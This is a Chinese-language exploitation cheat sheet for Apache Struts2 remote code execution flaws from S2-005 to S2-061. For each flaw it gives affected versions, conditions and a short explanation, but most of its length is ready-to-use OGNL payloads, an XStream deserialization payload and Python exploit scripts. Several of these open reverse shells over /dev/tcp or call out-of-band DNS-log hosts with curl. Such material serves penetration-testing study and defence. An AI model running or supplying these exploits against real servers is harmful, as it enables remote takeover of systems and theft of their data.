一、介绍

1、简介

```
    Struts框架是Apache基金会下一款用于开发JavaEE网络应用程序的Web框架
```

2、指纹

```
    文件后缀.do .action
```

3、工具

```
    Struts2-Scan：https://github.com/HatBoy/Struts2-Scan
```

二、漏洞

S2-061 命令执行

```
# 影响版本
    Struts 2.0.0 - 2.5.25
```

```
# 利用条件
    找到网站中对特定标签的属性进行二次解析的参数
```

```
# 利用方法
    1、访问8080端口
    2、URL中传入id的值为OGNL表达式，使用F12查看是否成功执行
    http://your-ip:8080/?id=%25%7b%31%2b%32%7d
    3、将id的值替换为执行id命令的payload，F12查看是否成功执行
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).
(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).
(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMa
p%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).
(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).
(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).
(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).
(%23potats0.setBean(%23sm)).
(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).
(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).
(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).
(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}
    4、将id的值替换为执行反弹shell命令的payload，成功接收shell
```

```
# 参考链接
    复现：https://zhuanlan.zhihu.com/p/338497899
```

```
# 漏洞原理
    1、Struts2会对特定标签的属性进行二次解析
    2、该漏洞是S2-059漏洞的绕过，官方增强了OGNL表达式沙盒，而该漏洞是对沙盒的一个绕过
    3、根据以上两个特性，在特定标签属性，如id的值中传入恶意OGNL表达式，即可实现远程代码执行漏洞
```

S2-059 命令执行

```
# 影响版本
    Struts 2.0.0 - Struts 2.5.20
```

```
# 利用条件
    找到网站中对特定标签的属性值进行二次解析的参数
```

```
# 利用方法
    1、访问8080端口并对参数id传入OGNL表达式，通过F12查看代码，可测试是否存在漏洞
    http://your-ip:8080/?id=%25%7B1+1%7D
    2、使用poc脚本发送带有反弹shell命令的OGNL表达式的POST数据包，成功接收到shell
import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
```

```
# 参考链接
    复现：https://github.com/vulhub/vulhub/blob/master/struts2/s2-059/README.zh-
cn.md
```

```
# 漏洞原理
    1、Strtus框架会对特定的标签属性值进行二次解析，如id
    2、根据以上特性，构造id的参数为恶意OGNL表达式，即可实现远程代码执行漏洞
```

S2-057 命令执行

```
# 影响版本
    Struts 2.3 - 2.3.34
    Struts 2.5 - 2.5.16
```

```
# 利用条件
    1、alwaysSelectFullNamespace为true
    2、action元素没有设置namespace属性或使用的是通配符
```

```
# 利用方法
    1、访问index目录并抓包
    2、构造OGNL表达式，传入url编码后的命令id的payload
/index/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
    3、将命令替换成base64编码后的反弹shell payload，并进行url编码，成功接收到shell
```

```
# 参考链接
    复现：https://www.secrss.com/articles/24780
```

```
# 漏洞原理
    1、alwaysSelectFullNamespace为true
    2、action元素没有设置namespace属性，或使用了通配符
    3、命名空间会将用户传入的值进行OGNL表达式解析
    4、根据以上3个特性，在URL的action上一层传入一个恶意OGNL表达式，即可实现远程代码执行漏洞
```

S2-053 命令执行

```
# 影响版本
    Struts 2.0.1 - 2.3.33
    Struts 2.5 - 2.5.10
```

```
# 利用条件
    对方网站使用freemarker模板引擎
```

```
# 利用方法
    1、进入hello页面（提交url的页面），点击提交并抓包
    2、将数据包中的redirectUri的值改为url编码后执行id命令的payload
redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
    3、将命令改为反弹shell的代码并进行url编码，成功接收shell
```

```
# 参考链接
    复现：https://www.secrss.com/articles/24780
```

```
# 漏洞原理
    1、Struts2使用Freemarker模板时，传入的数据会被进行OGNL表达式解析
    2、根据以上特性，用户传入一个带有恶意的OGNL表达式，即可成功实现远程命令执行漏洞
```

S2-052 反序列化

```
# 影响版本
    Struts 2.1.2 - 2.3.33
    Struts 2.5 - 2.5.12
```

```
# 利用条件
    传入的xml数据可控
```

```
# 利用方法
    1、点击修改用户的时候抓包
    2、发送带有payload的POST数据包，执行curl xx.dnslog.cn命令，测试是否出网
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
```

```
          <dataSource
class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>curl</string>
                        <string>xx.dnslog.cn</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString
reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString
reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString
reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>
```

3、将命令替换成base64编码后的反弹shell命令，成功接收到shell

```
# 参考链接
    复现：https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md
```

```
# 漏洞原理
    1、代码在使用Xstream的fromXML方法时，会将xml数据反序列化成java对象
    2、传入的xml数据用户可控
    3、在以上两个特征的情况下，发送带有反序列化xml代码的POST数据包，即可实现远程命令执行漏洞
```

S2-048 命令执行

```
# 影响版本
    Struts 2.3.x
```

```
# 利用条件
    1、目标网站使用Struts-core-1.x.x.jar插件
    2、ActionMessage类的key属性可控
```

```
# 利用方法
    1、访问/integration/editGangster.action
    2、在Gangster Name中传入命令id的poc，点击提交后成功执行
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
("id").getInputStream())).(#q)}
    3、将命令修改为base64编码后的反弹shell命令，成功接收到shell
```

```
# 参考链接
    复现：https://www.secrss.com/articles/24780
```

```
# 漏洞原理
    1、为了保证Struts2对Struts1的兼容性，在Struts2框架中会使用插件Struts1，该插件需要允许应用使用Actions和ActionForms属性
    2、在以上的特征下，只需在提交ActionMessage字段中，构造恶意OGNL表达式，即可实现远程命令执行漏洞
```

S2-046 命令执行

```
# 影响版本
    Struts 2.3.5 - 2.3.31
    Struts 2.5 - 2.5.10
```

```
# 利用条件
    1
```

```
# 利用方法
    1、点击上传按钮并抓包
    2、修改filename的值为OGNL表达式1+1，并在二进制格式中将b之前的字符替换成00，发哦是那个数据包，返回包中成功返回计算结果
%
{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+1)}\x00b
    3、编写并执行exp脚本，脚本内容为：发送原生socket数据包，将OGNL表达式替换成反弹shell命令，成功接收到shell
import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%
{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#cmd='bash -i >& /dev/tcp/ip/post 0>&1').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=
(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
    conn.send(p + q)
    print(conn.recv(10240).decode())
```

```
# 参考链接
    复现：https://blog.csdn.net/weixin_44253823/article/details/103146814
    复现(exp)：https://github.com/vulhub/vulhub/blob/master/struts2/s2-046/README.zh-cn.md
```

```
# 漏洞原理
    1、当filename中包含multipart/form_data时，服务器会认为有文件上传
    2、文件上传会调用Strtus2默认的上传文件组件Jakarta，该组件会载入并解析OGNL代码
    3、但此时filename需要一个00截断进行空字节利用，或Content-Length的长度超过允许上传的最大值2M，就会报错异常
    4、通过以上3个特征，在发送上传文件数据包时，在filename的字段添加带有multipart/form_data并且包含OGNL表达式的值，在其最后添加00截断，造成异常报错，OGNL得到解析，实现远程命令执行漏洞
```

S2-045 命令执行

```
# 影响版本
    Struts 2.3.5 - 2.3.31
    Struts 2.5 - 2.5.10
```

```
# 利用条件
    Content-Type的值定义为multipart/form-data，可伪造成文件上传数据包
```

```
# 利用方法
    1、发送POST请求包，在Content-Type的值中添加OGNL表达式，执行运算命令
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %
{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('test',1+1)}.multipart/form-data

    2、将Content-Type字段的值替换成反弹shell命令的OGNL表达式，成功接收shell
```

```
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#cmd='echo "bash -i >&/dev/tcp/192.168.137.129/6666 0>&1"|bash').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=
(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}"
```

```
# 参考链接
    复现：https://www.cnblogs.com/moyudaxia/p/14445883.html
```

```
# 漏洞原理
    1、当Content-Type: multipart/form_data时，会被认为有文件上传
    2、文件上传会调用Strtus2默认的上传文件组件Jakarta，该组件会载入并解析OGNL代码
    3、根据以上两个特征，通过构造一个POST数据包，将其Content-Type的值替换成
multipart/from_data并拼接上需要执行的OGNL表达式，即可实现远程命令执行
```

S2-032 命令执行

```
# 影响版本
    Struts 2.0.0 - 2.3.28(不包含2.3.20.2和2.3.24.2)
```

```
# 利用条件
    对方开启了动态方法调用，且对传入的方法名未作过滤
```

```
# 利用方法
    1、在URL中添加以method:为前缀的OGNL表达式，执行id命令
    index.action?
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40or
g.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncodin
g(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.
Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputS
tream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.ne
xt()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?
%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
    2、将cmd的值改为url编码后的反弹shell命令，成功接收shell
```

```
# 参考链接
    复现：https://github.com/vulhub/vulhub/blob/master/struts2/s2-032/README.zh-
cn.md
```

```
# 漏洞原理
    1、Struts2开启了动态方法调用（Dynamic Method Invocation），可以使用method:<name>的方式来调用名字为<name>的方法
    2、调用的方法名会经过OGNL表达式解析
    3、根据以上两个特征，只需在url后添加以method:为前缀，后面加OGNL表达式的Payload，即可实现命令执行漏洞
```

S2-016 命令执行

```
# 影响版本
    Struts 2.0.0 - 2.3.15
```

```
# 利用条件
    对redirect等重定向前缀后面跟的OGNL表达式未作过滤
```

```
# 利用方法
    1、访问Struts网页并抓包
    2、在数据包中添加请求的URI为url编码后的 OGNL命令执行Poc
index.action?
%72%65%64%69%72%65%63%74%3a%24%7b%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%75%6e%61%6d%65%20%2d%61%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%67%65%6e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73%65%28%29%7d
    3、将poc的命令改为反弹shell，成功接收shell
```

```
# 参考链接
    复现：https://vulhub.org/#/environments/struts2/s2-016/
```

```
# 漏洞原理
    1、Struts2支持以 "redirect:" 作为重定向的前缀
    2、在该前缀后可以添加OGNL表达式
    3、根据以上两个特性，当传入redirect:${1+1}，服务器会解析该值作为重定向的目标并输出在返回包中的location字段，将该OGNL表达式替换成命令执行的poc，也就造成了命令执行漏洞
```

S2-015 命令执行

```
# 影响版本
    Struts 2.0.0 - 2.3.14.2
```

```
# 利用条件
    目标Struts配置文件中动态接受所有值 * 作为.action的文件名，并且对传入的值未加过滤，直接使用OGNL表达式解析
```

```
# 利用方法
    1、在目录后加OGNL表达式${1+1}.action，测试是否成功执行
    2、将表达式替换成url编码后的命令执行poc
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
    3、将表达式替换成反弹shell的poc，成功接收shell
```

```
# 参考链接
    复现 + 原理：https://www.linuxlz.com/aqld/2039.html
```

```
# 漏洞原理
    1、配置文件中接收action文件的通配符 *，也就是接收所有传入的以.action为后缀的文件
    2、Struts2会将接收到的文件名进行OGNL表达式解析
    3、根据以上两点，构造一个OGNL表达式格式的poc，并且拼接.action作为后缀，当服务器接收到该值时，就会解析该OGNL表达式并执行其中的命令
```

S2-013 命令执行

```
# 影响版本
    Strtus 2.0.0 - 2.3.14.1
```

```
# 利用条件
    <s:a>标签中includeParams=all
```

```
# 利用方法
    1、点击标签并抓包
    2、在请求头中加入任意参数，并赋予url编码后的打印id的poc作为值
%24%7b%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%29%7d
// 或
%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%7d
    3、回显成功后，将其命令改为反弹shell的命令，成功接收shell
```

```
# 参考链接
    复现：https://www.cnblogs.com/peace-and-romance/p/15635493.html
```

```
# 漏洞原理
    1、Struts2框架的两个标签 <s:a> <s:url>都包含一个includeParams属性，这个属性的值可以时none(不包含请求参数)、get(只包含get请求中的参数)、all(包含get和post所有参数和值)
    2、<s:a>标签用来显示超链接，当includeParams=all时，代表将所有传入的参数值都打印出来
    3、此时传入的参数值会经过OGNL表达式解析
    4、根据以上三点，当<s:a>标签的includeParams=all时，构造任意参数名，再构造一个带有命令执行的OGNL表达式，即可成功造成命令执行漏洞
```

S2-012 命令执行

```
# 影响版本
    Struts 2.1.0 - 2.3.13
```

```
# 利用条件
    网站在配置Action中Result时使用了重定向类型，并且使用${param_name}作为重定向变量
```

```
# 利用方法
    1、构造OGNL表达式，测试1+1是否成功计算
    %{1+1}
    2、构造OGNL表达式，执行whoami命令
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.Http
ServletResponse"),#f.getWriter().println(new
java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```

```
# 参考链接
    复现：https://www.cnblogs.com/devi1/p/13486630.html
```

```
# 漏洞原理
    网站在配置Action文件的Result时使用了重定向类型，并且使用${param_name}作为重定向变量。当传入数据时，就会被${name}进行OGNL表达式解析，此时构造OGNL表达式即可造成任意命令执行
```

S2-009 命令执行

```
# 影响版本
    Struts 2.1.0 - 2.3.1.1
```

```
# 利用条件
    需要一个能够进入OGNL上下文的参数
```

```
# 利用方法
    1、构造请求DNSLOG平台的Payload，加入到GET请求中
    /ajax/example5?
age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+
new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%
22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.ex
ec%28%27curl%20aa.34d1ea51.dns.bypass.eu.org%27%29%29%28meh%29&z[%28name%29%28%2
7meh%27%29]=true
    2、构造反弹shell的Payload，加入到GET请求中，成功反弹shell
    /ajax/example5?
age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+
new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%
22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.ex
ec%28%27[base64 + url编码后的反弹shell命
令]%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
```

```
# 参考链接
    复现：https://github.com/vulhub/vulhub/blob/master/struts2/s2-009/README.zh-
cn.md
```

```
# 漏洞原理
    该漏洞与S2-003 S2-005类似，S2-003之后禁止了#来调用资源，在S2-005使用Unicode 和 八进制可以绕过补丁限制，在S2-005的补丁中禁止了\等特殊符号，使用户不能提交反斜线。
    在S2-009中的action中需要一个可以进入OGNL上下文的参数，此时将OGNL表达式通过该参数提交，即可绕过# \等特殊符号的限制。
```

S2-008 命令执行

```
# 影响版本
    Struts 2.1.0 - 2.3.1
```

```
# 利用条件
    目标网站对外开启了debug模式
```

```
# 利用方法
    1、构造查看当前目录文件的payload 加入到GET请求中
    devmode.action?debug=command&expression=
(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boo
lean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo
%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime
().exec('ls+-al+./').getInputStream()))
    2、构造反弹shell的payload 加入到GET请求中，成功接收到shell
    /devmode.action?debug=command&expression=
(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boo
lean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo
%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime
().exec(%27[base64 + url编码后的反弹shell payload]%27).getInputStream()))
```

```
# 参考链接
    复现：https://www.cnblogs.com/cute-puli/p/16454182.html
```

```
# 漏洞原理
    devmode下，是支持直接执行OGNL表达式的。但如果网站对外开启了debug模式，那么同样是有多个接口可以直接查看对象或执行命令的
```

S2-007 命令执行

```
# 影响版本
    Struts 2.0.0 - 2.2.3
```

```
# 利用条件
    网站提交数据的功能点（类似age）正常只接收数字类型数据，但对用户传入的字符类型会进行引号拼接，且经过OGNL表达式解析
```

```
# 利用方法
    1、构造查看当前用户ID的Payload，提交至age处
    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new
java.lang.Boolean("false")
,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.i
o.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream
())) + '
    2、构造反弹shell的Payload，提交至age处，成功接收shell
    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new
java.lang.Boolean("false")
,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.i
o.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,base64编码
后的反弹shell payload}|{base64,-d}|{bash,-i}').getInputStream())) + '
```

```
# 参考链接
    复现 + 原理：https://blog.csdn.net/baidu_38844729/article/details/103070613
```

```
# 漏洞原理
    1、当用户提交age为字符串而非数字时，后端对传入的数据进行 "'" value "'" 拼接，并进行OGNL
表达式解析
    2、此时通过类似SQL注入的方法，闭合单引号，并构造表达式，即可成功注入任意OGNL表达式命令
```

S2-005 命令执行

```
# 影响版本
    Struts < 2.0.12
```

```
# 利用条件
    暂无
```

```
# 利用方法
    1、构造请求DNSLOG平台的Payload，测试是否出网
    /example/HelloWorld.action?
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&
(aaaa)
((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu00
3d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean("false")))&(asdf)
((%27%5cu0023rt.exec("curl@aa.1bc14c62.dns.bypass.eu.org".split("@"))%27)
(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
